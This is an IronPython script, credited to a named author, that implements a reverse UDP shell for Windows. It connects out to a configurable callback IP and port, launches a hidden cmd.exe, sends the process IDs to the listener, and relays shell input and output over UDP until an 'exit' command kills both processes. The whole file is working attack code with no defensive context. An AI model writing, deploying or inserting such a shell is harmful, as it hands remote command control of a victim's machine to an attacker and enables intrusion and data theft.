##################################################
## IronPython Reverse UDP Shell
##################################################
## Author: daddycocoaman
##################################################
from System.Diagnostics import Process, DataReceivedEventHandler, DataReceivedEventArgs
from System.IO import IOException
from System.Net import IPEndPoint, IPAddress
from System.Net.Sockets import UdpClient
from System.Text import Encoding

#Set callback IP/Port
IP = ""
PORT = 4433
ep = IPEndPoint(IPAddress.Parse(IP), PORT)

#Set Timeout in milliseconds. 0 is infinite
RCV_TIMEOUT = 0

def CmdOutputDataHandler(process, outline):
    if not outline.Data:
        bytesOut = Encoding.ASCII.GetBytes(" \r\n")
        client.Send(bytesOut, bytesOut.Length)
    else:
        bytesOut = Encoding.ASCII.GetBytes(outline.Data + "\r\n")
        client.Send(bytesOut, bytesOut.Length)

#Connect to listener
client = UdpClient(IP, PORT)
client.Client.ReceiveTimeout = RCV_TIMEOUT

#Setup/start process
p = Process()
p.StartInfo.FileName = "cmd.exe"
p.StartInfo.CreateNoWindow = True
p.StartInfo.UseShellExecute = False
p.StartInfo.RedirectStandardOutput = True
p.StartInfo.RedirectStandardInput = True
p.StartInfo.RedirectStandardError = True
p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.Start()
pids = Encoding.ASCII.GetBytes("SPID: %s\nCPID: %s" % (Process.GetCurrentProcess().Id, p.Id))
client.Send(pids, len(pids))
p.BeginErrorReadLine()
p.BeginOutputReadLine()

#Recieve loop
while (not p.HasExited):
    try:
        inp = Encoding.ASCII.GetString(client.Receive(ep)[0])
        if  inp.ToLower() == "exit":
            p.Kill()
            Process.GetCurrentProcess().Kill()
        else:
            p.StandardInput.WriteLine(inp)
    except:
        p.Kill()
        break
